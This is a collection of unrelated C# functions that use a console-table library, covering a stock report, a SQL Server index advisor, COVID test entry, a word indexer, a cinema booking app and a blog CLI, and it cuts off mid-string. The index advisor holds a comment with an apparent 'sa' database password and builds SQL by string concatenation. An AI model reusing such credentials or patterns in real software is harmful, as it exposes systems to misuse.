public void StockReport() { try { int serial = 1; char input; bool flag; string Portfolio = @"C:\Users\User\source\repos\ObjectOrientedProgramming\ObjectOrientedProgramming\StockMngt\JsonFiles\Portfolio.json"; string Stocks = File.ReadAllText(Portfolio); var jsonStcoksdata = JsonConvert.DeserializeObject <Portfolio>(Stocks); int TotalStockPrice = 0; List <getStockInfromation> TotalStockDetails; getStockInfromation stocks; Console.WriteLine("Do You Want To Add The Stocks Press Y/y and For View The List of Stocks press S/s else other ?"); do { flag = char.TryParse(Console.ReadLine(), out input); if (flag) { break; } Console.WriteLine("Enter the Proper input"); } while (!flag); if (input.Equals('Y') || input.Equals('y')) { Console.WriteLine("___________________________\tEnter The Number of Stock\t___________________________"); int size = Utility.switchinputvalidation(); for (int i = 0; i < size; i++) { Console.WriteLine("_____________________________ Enter The stock Details of " + (i + 1) + " __________________________________"); if (Portfolio == "") { TotalStockDetails = new List <getStockInfromation>(); stocks = CommercialDataProcessingUtility.AddStocksInformation(); TotalStockDetails.Add(stocks); } else { TotalStockDetails = jsonStcoksdata.TotalStocks; stocks = CommercialDataProcessingUtility.AddStocksInformation(); TotalStockDetails.Add(stocks); } } } if (input.Equals('S') || input.Equals('s')) { Console.WriteLine("The Total Stocks Is ---"); var table = new ConsoleTable("seq", "StockName", "NumberofShare", "SharePrice", "TotalValueofTheStock"); foreach (var stockData in jsonStcoksdata.TotalStocks) { TotalStockPrice = TotalStockPrice + stockData.Numberofshare * stockData.shareprice; table.AddRow(serial, stockData.StockName, stockData.Numberofshare, stockData.shareprice, stockData.Numberofshare * stockData.shareprice); serial++; } table.Write(); Console.WriteLine(); Console.Write("Value Of Total Stocks\t "); Console.WriteLine(TotalStockPrice); string TotalStocks = JsonConvert.SerializeObject(jsonStcoksdata); File.WriteAllText(Portfolio, TotalStocks); } } catch (Exception e) { Console.WriteLine(e.Message); } }
static void Main(string[] args) { string ServerName = string.Empty; string InstanceName = string.Empty; string UserName = string.Empty; string Password = string.Empty; string DBFilePath = string.Empty; string DBName = string.Empty; Boolean IntegratedMode = false; try { //Console.WriteLine("We are taking the parameters in reality. This statement is just for test purposes. \n Type Yes to start the execution or help to get item options."); string input = Console.ReadLine(); if (input == "help") { // Print the sample way to access this tool with all the options specified. Console.WriteLine("The Command for the tool can be written as follows:\n" + @"DBIndexer -S[Servername]\[InstanceName] -D[DatabaseName] -U[Username] -P[Password] -I[IntegratedSecutiryMode]"); Console.ReadKey(); } else { string[] parameters = input.Split(' '); foreach (string parmetr in parameters) { if (parmetr.StartsWith("-S")) { ServerName = parmetr.Substring(2, parmetr.Length - 2); } else if (parmetr.StartsWith("-D")) { DBName = parmetr.Substring(2, parmetr.Length - 2); } else if (parmetr.StartsWith("-U")) { UserName = parmetr.Substring(2, parmetr.Length - 2); } else if (parmetr.StartsWith("-P")) { Password = parmetr.Substring(2, parmetr.Length - 2); } else if (parmetr.StartsWith("-I")) { IntegratedMode = true; } } if (ServerName == String.Empty || DBName == string.Empty || (IntegratedMode = false && (UserName == string.Empty || Password == string.Empty))) { throw new InvalidDataException("Atleast one of the input parameters was not provided. Please check that all the values are entered for required parameters. If not sure, type 'help' to get the required details. "); } // DBIndexer -SDESKTOP-R4E3L7J\LEARNINGOWL -DAdventureWorks2016 -Usa -PJayant123* -ITrue // @"DESKTOP-R4E3L7J\LEARNINGOWL", "", @"sa", @"Jayant123*", @"AdventureWorks2016" // Checkup ifthe credentials provided are correct and have the proper privileges for this database. MTUtilities.Utilities utilities = new Utilities(); bool CheckUpSucessful = utilities.PerformChecksUp(ServerName, DBFilePath, UserName, Password, DBName); if (CheckUpSucessful) // Start parsing and gathering the statistics of the workload: { // Get all the SQL files of the workload to be parsed. string[] filenames = Directory.GetFiles(System.IO.Directory.GetCurrentDirectory(), "Adve*.sql", SearchOption.TopDirectoryOnly); // Parse each file. foreach (string filename in filenames) { ColumnTableStmt.ParseWorkload(filename); } // Print Formatted Console Output: // Print output Headers var consoletable = new ConsoleTable("TableName", "ColumnName", "Total", "GroupBy", "Where", "Having", "Project", "Join", "OrderBy", "Unknown", "WhereOperators"); // Iterate over each table to print the collected values of tables and columns and their stats. foreach (DBTable table in Utilities.DictParsedTables.Select(tab => tab.Value).ToList <DBTable>()) { List <Column> lstColumns = table.DictColumns.Select(col => col.Value).ToList <Column>(); foreach (Column col in lstColumns) { string CommaSeparatedOperator = string.Empty; foreach (KeyValuePair <string, long> item in col.WhereComparisonOperators) { if (CommaSeparatedOperator == string.Empty) { CommaSeparatedOperator = item.Key + " : " + item.Value; } else { CommaSeparatedOperator = CommaSeparatedOperator + " | " + item.Key + " : " + item.Value; } } consoletable.AddRow(table.name, col.Name, col.TotalNumOfOccurrences, col.GroupByOccurences, col.WhereOccurences, col.HavingOccurences, col.ProjectOccurences, col.UsedForJoinOccurrences, col.OrderByOccurences, col.UnknownOccurences, CommaSeparatedOperator); } } Console.WriteLine("###################### Printing Column stats as per the Clause occurence in Query. ####################"); consoletable.Write(Format.MarkDown); Console.WriteLine(); // Printing Query Text and its occurences as a whole query SQLQueryStmt.PrintQueryOccurenceStats(); // Execute the workload queries one by one and benchmark them SQLQueryStmt.BenchmarkWorload(ServerName, DBFilePath, UserName, Password, DBName, true); // Start ranking now based on the collected data. ScoreAnalysis ScoreMaster = new ScoreAnalysis();; ScoreMaster.ScoreTables(); // Create a sheet like structure from data members for futher analysis. List <ScoreAnalysis> ScoreBoard = new List <ScoreAnalysis>(); // Get all the calculated scores in the ScoreBaord list. foreach (KeyValuePair <string, DBTable> table in Utilities.DictParsedTables) { foreach (KeyValuePair <long, Column> colitem in table.Value.DictColumns) { ScoreMaster = new ScoreAnalysis(); // Update the table data for each column. ScoreMaster.TableName = table.Value.name; ScoreMaster.TableScore = table.Value.Score; // update the column scoring data for each column. ScoreMaster.ColumnName = colitem.Value.Name; ScoreMaster.ColumnScore = colitem.Value.Score; ScoreMaster.ColumnHashScore = colitem.Value.HashScore; ScoreMaster.ColumnBinaryScore = colitem.Value.BinaryScore; // Add the final score for each column to the Scoreboard. ScoreBoard.Add(ScoreMaster); } } // Sort the List by Scores: //List<ScoreAnalysis> FinalScoreBoard = ScoreBoard.OrderByDescending(x => x.TableScore).ThenByDescending(x => x.ColumnScore).ToList<ScoreAnalysis>(); ConsoleTable ScoreBoardOutput = new ConsoleTable("Table_Name", "Table_Score", "Column_Name", "Column_Score", "HashScore", "Binary Score"); ScoreBoard = ScoreBoard.OrderByDescending(x => x.TableScore).ThenByDescending(x => x.ColumnScore).ToList <ScoreAnalysis>(); foreach (ScoreAnalysis Score in ScoreBoard) { ScoreBoardOutput.AddRow(Score.TableName, Score.TableScore, Score.ColumnName, Score.ColumnScore, Score.ColumnHashScore, Score.ColumnBinaryScore); } // Print the output Console.WriteLine("###################### Printing final scores for each table and column by the order of highest scores first. ####################"); ScoreBoardOutput.Write(Format.MarkDown); //Utilities.ExportToPDF(ScoreBoardOutput,"TableAndColumnScores"); Console.WriteLine(); // Start deciding on the index options for each table based on the column heuristics. // Algo // Check for each column's hash/binary choice based on their respective scores. // check for combination of columns marked as hash/ binary to be implemented as index pairs based on the highest scored column. // suggest the index with highest score along with the hash and binary combinations as final choices. Dictionary <string, List <string> > HashChoices = new Dictionary <string, List <string> >(); Dictionary <string, List <string> > BinaryChoices = new Dictionary <string, List <string> >(); // Compare Hash and Binary choices foreach (KeyValuePair <string, DBTable> table in Utilities.DictParsedTables) { List <string> HashColumns = new List <string>(); List <string> BinaryColumns = new List <string>(); List <ScoreAnalysis> ScoredTable = ScoreBoard.Where(x => x.TableName == table.Value.name).ToList <ScoreAnalysis>(); long TopScore = ScoredTable.Max(x => x.ColumnScore); ScoreAnalysis TopScoreColName = ScoredTable.Where(x => x.ColumnScore == TopScore).Select(x => x).FirstOrDefault(); if (TopScoreColName.ColumnHashScore.CompareTo(TopScoreColName.ColumnBinaryScore) > 0) // Hash Score is more { // Check if hash is more by 8% or more. if ((TopScoreColName.ColumnHashScore * 92 / 100) > TopScoreColName.ColumnBinaryScore) { HashColumns.Add(TopScoreColName.ColumnName); HashChoices[TopScoreColName.TableName] = HashColumns; } } else if (TopScoreColName.ColumnHashScore.CompareTo(TopScoreColName.ColumnBinaryScore) == 0) // Hash and Binary scores are equal { // Add an entry for Hash HashColumns.Add(TopScoreColName.ColumnName); HashChoices[TopScoreColName.TableName] = HashColumns; // Add an entry for Binary BinaryColumns.Add(TopScoreColName.ColumnName); BinaryChoices[TopScoreColName.TableName] = BinaryColumns; } else if (TopScoreColName.ColumnHashScore.CompareTo(TopScoreColName.ColumnBinaryScore) < 0) // Binary score is more. { BinaryColumns.Add(TopScoreColName.ColumnName); BinaryChoices[TopScoreColName.TableName] = BinaryColumns; } foreach (ScoreAnalysis item in ScoredTable) { if (item.ColumnName != TopScoreColName.ColumnName) // For all columns other than the top scoring column { if (item.ColumnHashScore == TopScoreColName.ColumnHashScore && TopScoreColName.ColumnHashScore != 0) // if hash score is equal to max hash score { if (HashChoices.Count == 0) // Case when the binary score was more than hash for TopScoredColumn { string CompositeHashcol = TopScoreColName.ColumnName + ',' + item.ColumnName; HashColumns.Add(CompositeHashcol); HashChoices[TopScoreColName.TableName] = HashColumns; } else // Case when the top scored hash column is already added to the choices { string CompositeHashcol = HashColumns.Where(x => x.StartsWith(TopScoreColName.ColumnName)).FirstOrDefault(); if (CompositeHashcol != "" && CompositeHashcol != string.Empty) { HashColumns.Remove(CompositeHashcol); CompositeHashcol = CompositeHashcol + ',' + item.ColumnName; HashColumns.Add(CompositeHashcol); HashChoices[TopScoreColName.TableName] = HashColumns; } } } else if (((TopScoreColName.ColumnHashScore * 92) / 100) <= item.ColumnHashScore && TopScoreColName.ColumnHashScore != 0) // if hash score is close enough to be together as a composite hash index { HashColumns.Add(item.ColumnName); } else if ((item.ColumnBinaryScore == TopScoreColName.ColumnBinaryScore && TopScoreColName.ColumnBinaryScore != 0) || (((TopScoreColName.ColumnBinaryScore * 75) / 100) <= item.ColumnBinaryScore)) // if the binary score is equal to the max binary score { if (BinaryChoices.Count == 0) // Case when the hash score was more than Binary for TopScoredColumn { string CompositeBinarycol = TopScoreColName.ColumnName + ',' + item.ColumnName; BinaryColumns.Add(CompositeBinarycol); BinaryChoices[TopScoreColName.TableName] = BinaryColumns; } else // Case when the top scored binary column is already added to the choices { string CompositeBinarycol = BinaryColumns.Where(x => x.StartsWith(TopScoreColName.ColumnName)).FirstOrDefault(); if (CompositeBinarycol != "" && CompositeBinarycol != string.Empty) { BinaryColumns.Remove(CompositeBinarycol); CompositeBinarycol = CompositeBinarycol + ',' + item.ColumnName; BinaryColumns.Add(CompositeBinarycol); BinaryChoices[TopScoreColName.TableName] = BinaryColumns; } } } } } } // Create the output table ConsoleTable ct = new ConsoleTable("Table_Name", "Index_Columns", "Index_Type"); List <OutputUtil> Output = new List <OutputUtil>(); // Add the final Hash choices to the output. foreach (KeyValuePair <string, List <string> > choice in HashChoices) { foreach (string columns in choice.Value) { OutputUtil ot = new OutputUtil(); ot.Table_Name = choice.Key; ot.Index_Columns = columns; ot.Index_type = "Hash"; Output.Add(ot); } } // Add the final Binary choices to the output. foreach (KeyValuePair <string, List <string> > choice in BinaryChoices) { foreach (string columns in choice.Value) { OutputUtil ot = new OutputUtil(); ot.Table_Name = choice.Key; ot.Index_Columns = columns; ot.Index_type = "Binary"; Output.Add(ot); } } // Sort the output by the tablenames. Output = Output.OrderBy(table => table.Table_Name).ToList <OutputUtil>(); //Store all the index creation queries to be executed in this array. List <string> IndexCreationQueries = new List <string>(); // Add the final output after sorting table wise to the Console Printer. foreach (OutputUtil item in Output) { ct.AddRow(item.Table_Name, item.Index_Columns, item.Index_type); // Create the indexes as suggested above. string[] columns = item.Index_Columns.Split(','); if (columns.Count() > 1) { string CreateText = "CREATE INDEX [Idx_" + item.Table_Name + "_" + item.Index_Columns.Replace(',', '_') + "] ON [" + Utilities.DictTablesCatalog.First(x => x.Key == item.Table_Name).Value.Table_Schema_Name + "].[" + item.Table_Name + "] ([" + columns[0] + "] ASC)"; for (int i = 1; i < columns.Length; i++) { if (i == 1) { CreateText += "INCLUDE ([" + columns[i] + "]"; } else { CreateText += ", [" + columns[i] + "]"; } } CreateText += ");"; IndexCreationQueries.Add(CreateText); } else { IndexCreationQueries.Add("CREATE INDEX [Idx_" + item.Table_Name + "_" + item.Index_Columns + "] ON [" + Utilities.DictTablesCatalog.First(x => x.Key == item.Table_Name).Value.Table_Schema_Name + "].[" + item.Table_Name + "] ([" + item.Index_Columns + "]);"); } } ct.Write(Format.MarkDown); Console.WriteLine(); // Create the indexes as per the suggestions Utilities.CreateIndexSuggestions(IndexCreationQueries, ServerName, DBFilePath, UserName, Password, DBName, true); #region Benchmark after Suggestions and capture the difference // Benchmark SQLQueryStmt.BenchmarkWorload(ServerName, DBFilePath, UserName, Password, DBName, false); List <string> DropIndexes = new List <string>(); foreach (string item in IndexCreationQueries) { DropIndexes.Add(item.Replace("CREATE", "DROP").Substring(0, item.IndexOf('(') - 1).Replace('(', ';')); } // Drop the indexes created for benchmarking Utilities.CreateIndexSuggestions(DropIndexes, ServerName, DBFilePath, UserName, Password, DBName, false); // Print out the differences: ConsoleTable ResultsConsole = new ConsoleTable("QueryText", "Occurences", "IOCost_Before", "IOCost_After", "Execution_Time_Before", "Execution_Time_After", "Status", "Change Percentage"); foreach (KeyValuePair <Guid, SQLQueryStmt> qry in Utilities.DictWorkloadQueries) { ResultsConsole.AddRow( qry.Value.QueryText.Replace(System.Environment.NewLine, " ").Substring(0, 35) + "...", qry.Value.NumOfOccurences, qry.Value.TotalIOCost_Before * qry.Value.NumOfOccurences , qry.Value.TotalIOCost_After * qry.Value.NumOfOccurences , qry.Value.OriginalQueryExecutionTime * qry.Value.NumOfOccurences , qry.Value.IndexedQueryExecutionTime * qry.Value.NumOfOccurences , (((qry.Value.LogicalReads_After + qry.Value.PhysicalReads_After) < (qry.Value.LogicalReads_Before + qry.Value.PhysicalReads_Before)) ? "Improved" : (((qry.Value.LogicalReads_After + qry.Value.PhysicalReads_After) > (qry.Value.LogicalReads_Before + qry.Value.PhysicalReads_Before)) ? "Degraded" : "NoChange")) , (qry.Value.TotalIOCost_Before == 0)? 0 : (((double)(Math.Abs((double)qry.Value.TotalIOCost_Before - (double)qry.Value.TotalIOCost_After) / (double)qry.Value.TotalIOCost_Before) * 100.00))); } ResultsConsole.Write(Format.MarkDown); Console.WriteLine(); #endregion // check if statistics need to be updated. // Give suggestions about which queries can be written in a better way. Console.ReadKey(); //Console.WriteLine("Do you want the analysis in a PDF ?"); if (Console.ReadLine() == "Yes") { // write the code to output it to the pdf. string filepath = ""; #region PDF Export //Utilities.ExportToPDF(ct,"PrintAllGraphs"); #endregion Console.WriteLine("PDF created at location : {0}", filepath); Console.WriteLine("Processing Complete."); Console.ReadKey(); } else { Console.WriteLine("Processing Complete."); Console.ReadKey(); } } else { Console.WriteLine("Please check the provided credentials again and make sure you have access to the database using those credentials."); } } Console.ReadKey(); } catch (Exception Ex) { Console.WriteLine(Ex.Message); } }
public void DummyTestCase(CovidDbContext db, string ssn, string centerName) { var FindCit = db.citizens.Find(ssn); var FindTestCenter = db.testCenters.Find(centerName); var CitizenTestedAt = new TestedAt(); CitizenTestedAt.SSN = FindCit.SSN; CitizenTestedAt.centerName = FindTestCenter.centerName; Console.WriteLine("Indtast Dato for test (Format: mm/dd/yyyy\n"); DateTime DummyDate = DateTime.Parse(Console.ReadLine()); CitizenTestedAt.date = DummyDate; Console.WriteLine("Indtast teststatus, enten Done eller Not Done\n"); string DummyStatus = Console.ReadLine(); CitizenTestedAt.status = DummyStatus; Console.WriteLine("Indtast testresultat. P for påvist, N for negativ\n"); string TestResult = Console.ReadLine(); int DoWhileFlag = 0; do { if (TestResult == "P") { CitizenTestedAt.result = "Positiv"; DoWhileFlag = 1; using (var DbContext = new CovidDbContext()) { var ViewTestResult = DbContext.citizenLocations.Where(c => c.SSN == ssn).ToList(); foreach (CitizenLocation CitLoc in ViewTestResult) { var Adr = CitLoc.Addr; var ViewTestResult2 = DbContext.citizenLocations.Where(c => c.Addr == Adr).ToList(); var InfTable = new ConsoleTable(); foreach (CitizenLocation CitLoc2 in ViewTestResult2) { if (CitLoc2.SSN == CitLoc.SSN) { //Samme } else { var DummyCitizenInf = DbContext.citizenLocations.Where(c => c.SSN == CitLoc2.SSN && c.date == CitLoc.date && CitizenTestedAt.date == CitLoc2.date); foreach (var item in DummyCitizenInf) { InfTable.AddRow(item.SSN); } } } InfTable.Write(); } } } else if (TestResult == "N") { CitizenTestedAt.result = "Negativ"; DoWhileFlag = 1; } } while (DoWhileFlag == 0); db.Add(CitizenTestedAt); db.SaveChanges(); Console.WriteLine("Dummy testcase er oprettet nu\n"); Thread.Sleep(5000); Console.Clear(); }
public void executeProgram(string path, string wordToFind, bool stoplistEnabled) { //INICIA EL CRONOMETRO Stopwatch watch = Stopwatch.StartNew(); if (stoplistEnabled) { Console.WriteLine("Actividad 12 con stoplist en proceso... "); } else { Console.WriteLine("Actividad 12 sin stoplist en proceso... "); } //OBTIENE LAS RUTAS DE LOS ARCHIVOS HTML string[] filePaths = Directory.GetFiles(path + "\\results\\act3\\files"); //OBTIENE LAS PALABRAS DE LA STOPLIST string[] stopList = File.ReadAllLines(path + "\\utils\\stoplist.html"); //SE CREA UN ARCHIVO TXT DE SALIDA DE DATOS Directory.CreateDirectory(path + "\\results\\act12"); //TABLA PARA GUARDAR LOS DATOS DE MANERA ORDENADA var dataTable = new ConsoleTable("Palabra", "Existencia", "Posting"); var dataTablePostings = new ConsoleTable("Palabra", "ID Documento", "Peso"); var dataTableRelations = new ConsoleTable("ID", "Documento"); var dataTableDocSearch = new ConsoleTable("ID", "Documento"); //GUARDA RELACION ID - DOCUMENTO HTML Dictionary <int, string> relationDocs = new Dictionary <int, string>(); //GUARDA TODAS LAS PALABRAS Y SU FRECUENCIA List <Word> wordsList = new List <Word>(); //GUARDA LOS DOCUMENTOS QUE CONTENGAN LA PALABRA BUSCADA List <string> docSearch = new List <string>(); //ENLISTA LA FRECUENCIA DE LAS PALABRAS POR ARCHIVO Dictionary <string, Word> freqDict; using (var progress = new ProgressBar()) { progress.setTask("Calculando frecuencia de palabras"); int count = 0; int countDocs = 1; foreach (string filepath in filePaths) { freqDict = new Dictionary <string, Word>(); string[] words = File.ReadAllLines(filepath); foreach (string word in words) { if (stoplistEnabled) { foreach (string stopWord in stopList) { if (word != stopWord) { if (!freqDict.ContainsKey(word)) { freqDict.Add(word, new Word(word /*, filepath*/)); } freqDict[word].freq++; //CONSIGUE EL FILE NAME DEL PATH string fileName = (string)Path.GetFileName(filepath); //REVISA SI EXISTE YA EL ARCHIVO EN EL DICCIONARIO if (!freqDict[word].KeyFileRepetitions.ContainsKey(fileName)) { //AGREGA EL NOMBRE DEL ARCHIVO AL DICCIONARIO freqDict[word].KeyFileRepetitions.Add(fileName, 0); } freqDict[word].KeyFileRepetitions[fileName]++; } } } else { if (!freqDict.ContainsKey(word)) { freqDict.Add(word, new Word(word /*, filepath*/)); } freqDict[word].freq++; //CONSIGUE EL FILE NAME DEL PATH string fileName = (string)Path.GetFileName(filepath); //REVISA SI EXISTE YA EL ARCHIVO EN EL DICCIONARIO if (!freqDict[word].KeyFileRepetitions.ContainsKey(fileName)) { //AGREGA EL NOMBRE DEL ARCHIVO AL DICCIONARIO freqDict[word].KeyFileRepetitions.Add(fileName, 0); } freqDict[word].KeyFileRepetitions[fileName]++; } if (wordToFind == word) { docSearch.Add((string)Path.GetFileName(filepath)); } } foreach (KeyValuePair <string, Word> word in freqDict) { if (word.Value.freq >= 3) { wordsList.Add(word.Value); } } //PROGRESO count++; relationDocs.Add(countDocs, (string)Path.GetFileName(filepath)); countDocs++; progress.Report((double)count / filePaths.Length); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando frecuencia de palabras"); } //ENLISTA LA EXISTENCIA DE LAS PALABRAS POR ARCHIVO SortedDictionary <string, Word> exDict = new SortedDictionary <string, Word>(); using (var progress = new ProgressBar()) { progress.setTask("Calculando existencia de palabras"); int count = 0; foreach (Word wordObj in wordsList) { if (!exDict.ContainsKey(wordObj.content)) { exDict.Add(wordObj.content, new Word(wordObj.content, wordObj.freq)); } exDict[wordObj.content].freq += wordObj.freq; exDict[wordObj.content].freqFile++; foreach (KeyValuePair <string, int> temp in wordObj.KeyFileRepetitions) { exDict[wordObj.content].references.Add(temp); } //PROGRESO count++; progress.Report((double)count / wordsList.Count); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando existencia de palabras"); } //HASHTABLE PARA GUARDAR LOS DATOS Hashtable hTable = new Hashtable(exDict); //ARRAY PARA GUARDAR EL RESULTADO int freqPosting = 0; foreach (DictionaryEntry wordObj in hTable) { dataTable.AddRow(wordObj.Key, (wordObj.Value as Word).freqFile, freqPosting); freqPosting += (wordObj.Value as Word).freqFile; foreach (KeyValuePair <string, int> repetition in (wordObj.Value as Word).references) { dataTablePostings.AddRow((wordObj.Value as Word).content, relationDocs.FirstOrDefault(x => x.Value == repetition.Key).Key, ((wordObj.Value as Word).freq * 100) / (wordObj.Value as Word).freqFile); } } foreach (KeyValuePair <int, string> document in relationDocs) { dataTableRelations.AddRow(document.Key, document.Value); } int counter = 1; foreach (string doc in docSearch) { dataTableDocSearch.AddRow(counter, doc); counter++; } //TERMINA EL CRONOMETRO watch.Stop(); string title = "Palabra buscada: " + wordToFind + "\n-------------\n"; //ESCRIBE TODAS LAS PALABRAS EN UN ARCHIVO CONSOLIDADO File.WriteAllText(path + "\\results\\act12\\posting.html", dataTablePostings.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\file.html", dataTable.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\relation.html", dataTableRelations.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\searchFor" + FirstCharToUpper(wordToFind) + ".html", title + dataTableDocSearch.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\results.txt", "\nTiempo total en ejecutar el programa: " + watch.Elapsed); Console.WriteLine("Actividad 12 completada exitosamente, Noice\n"); }
public static void Execute() { data.GetMovie(); data.GetUser(); data.GetHall(); data.GetMovieHall(); data.GetMovieHallDetails(); var check = true; while (check) { System.Console.WriteLine("Welcome To TGV Cinema Ticket App."); System.Console.WriteLine("\n \t 1.View all movies"); System.Console.WriteLine("\t 2.Login"); System.Console.WriteLine("\t 3.Exit app"); string opt = System.Console.ReadLine(); switch (opt) { case "1": System.Console.Clear(); var table = new ConsoleTable("ID", "Movie Title", "Release Date", "Status"); foreach (var item in data.Movies) { table.AddRow(item.MovieId, item.MovieTitle, item.ReleaseDate, item.Status); } table.Write(); break; case "2": System.Console.Clear(); var check2 = true; while (check2) { System.Console.Write("Username : "******"Password : "******"User not found"); } } ; var check3 = true; while (check3) { System.Console.Clear(); System.Console.WriteLine("Login successfully."); System.Console.WriteLine("1.Select Movie"); System.Console.WriteLine("2.Logout"); string option = System.Console.ReadLine(); switch (option) { case "1": System.Console.Clear(); var Showingmovie = new ConsoleTable("ID", "Movie Title", "Release Date"); foreach (var movies in data.Movies) { if (movies.Status == Model.Movie.status.NowShowing) { Showingmovie.AddRow(movies.MovieId, movies.MovieTitle, movies.ReleaseDate); } } Showingmovie.Write(); System.Console.Write("Enter the selected movie ID : "); int Id = Convert.ToInt32(System.Console.ReadLine()); //find the movie that the status is now showing var checkMovie = data.Movies.Where(m => m.MovieId == Id && m.Status == Model.Movie.status.NowShowing).SingleOrDefault(); if (checkMovie == null) { System.Console.WriteLine("no such movie"); } else { System.Console.Clear(); System.Console.WriteLine($"You select {checkMovie.MovieTitle}"); var selectedMovieHall = data.MovieHalls.Where(mh => mh.MovieId == checkMovie.MovieId); var MovieTable = new ConsoleTable("ID", "Time Showing"); foreach (var movieTable in selectedMovieHall) { MovieTable.AddRow(movieTable.Id, movieTable.MovieDateTime); } MovieTable.Write(); } System.Console.WriteLine("Select the Id: "); int checkId = Convert.ToInt32(System.Console.ReadLine()); var checkHall = data.MovieHalls.Where(mh => mh.Id == checkId).SingleOrDefault(); if (checkHall != null) { System.Console.Clear(); System.Console.WriteLine($"The Time You Select is {checkHall.MovieDateTime}"); var checkHallId = data.HallSeats.Where(hs => hs.TimeStartId == checkHall.Id).ToList(); foreach (var item in checkHallId) { System.Console.Write($"{item.Seat} {item.SeatStatus} "); //for hall id =3,it will like spacing when the loop get 1,10 if (item.Seat == "1,10" || item.Seat == "2,10" || item.Seat == "3,10" || item.Seat == "4,10" || item.Seat == "5,10") { System.Console.WriteLine("\n"); } } var checkseat = true; while (checkseat) { System.Console.WriteLine("Please select your seat Example: 1,1 :"); string SelectSeat = Convert.ToString(System.Console.ReadLine()); var CheckSeatStatus = data.HallSeats.Where(s => s.Seat == SelectSeat).FirstOrDefault(); if (CheckSeatStatus != null) { if (CheckSeatStatus.SeatStatus == HallSeat.SeatsDetail.Taken) { System.Console.WriteLine("Seat taken."); checkseat = true; } else { System.Console.WriteLine("Selected successfully."); CheckSeatStatus.SeatStatus = HallSeat.SeatsDetail.Taken; Thread.Sleep(1000); checkseat = false; } } } } break; case "2": check3 = false; break; default: System.Console.Clear(); System.Console.WriteLine("Please select between 1-2"); break; } } break; case "3": System.Console.WriteLine("Thank you for using TGV Cinema Ticket App"); Environment.Exit(0); break; default: System.Console.Clear(); System.Console.WriteLine("Please select option between 1-3"); break; } } }
static int Main(string[] args) { DefineConfigNames(); Configuration = DasBlogConfigurationBuilder(); var service = new ServiceCollection(); service.Configure <ConfigFilePathsDataOption>(options => { options.SiteConfigFilePath = Path.Combine(CONFIG_DIRECTORY, SITECONFIG_FILENAME); options.SecurityConfigFilePath = Path.Combine(CONFIG_DIRECTORY, SITESECURITYCONFIG_FILENAME); options.ThemesFolder = Path.Combine(Environment.CurrentDirectory, "Themes"); }); service .Configure <SiteConfig>(Configuration) .AddSingleton <IConfigFileService <SiteConfig>, SiteConfigFileService>() .AddSingleton <IConfigFileService <SiteSecurityConfigData>, SiteSecurityConfigFileService>() .AddSingleton <IUserDataRepo, UserDataRepo>() .AddSingleton <IUserService, UserService>() .BuildServiceProvider(); var app = new CommandLineApplication { Name = "dasblog-core", Description = "Configure DasBlog Core from the CLI.", }; app.HelpOption(inherited: true); app.Command("config", configCmd => { configCmd.Description = "Allows updates to the primary configuration settings"; configCmd.OnExecute(() => { Console.WriteLine("Specify a subcommand"); configCmd.ShowHelp(); return(1); }); configCmd.Command("env", setCmd => { setCmd.Description = "Required: Set the environment variable e.g. Development, Staging or Production"; var val = setCmd.Argument("value", "Value of 'environment' parameter"); setCmd.OnExecute(() => { if (!string.IsNullOrWhiteSpace(val.Value)) { Environment.SetEnvironmentVariable(ASPNETCORE_ENV_NAME, val.Value); } else { Environment.SetEnvironmentVariable(ASPNETCORE_ENV_NAME, null); } Console.WriteLine($"Environment variable has been set to '{val.Value}'."); }); }); configCmd.Command("root", setCmd => { setCmd.Description = "Required: Set the base URL value for the site e.g. http://www.somesite.com"; var val = setCmd.Argument("value", "Value of 'root' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.Root = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'root' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("theme", setCmd => { setCmd.Description = "Change the site theme"; var val = setCmd.Argument("value", "Value of 'theme' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.Theme = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'theme' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("contentdir", setCmd => { setCmd.Description = "Change the site content directory location"; var val = setCmd.Argument("value", "Value of 'contentdir' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.ContentDir = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'contentdir' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("binarydir", setCmd => { setCmd.Description = "Change the site binary directory location"; var val = setCmd.Argument("value", "Value of 'binarydir' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.BinariesDir = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'binarydir' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("logdir", setCmd => { setCmd.Description = "Change the site log directory location"; var val = setCmd.Argument("value", "Value of 'logdir' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.LogDir = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'logdir' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); }); app.Command("init", initCmd => { initCmd.Description = "Initializing the site creates environment specific config files 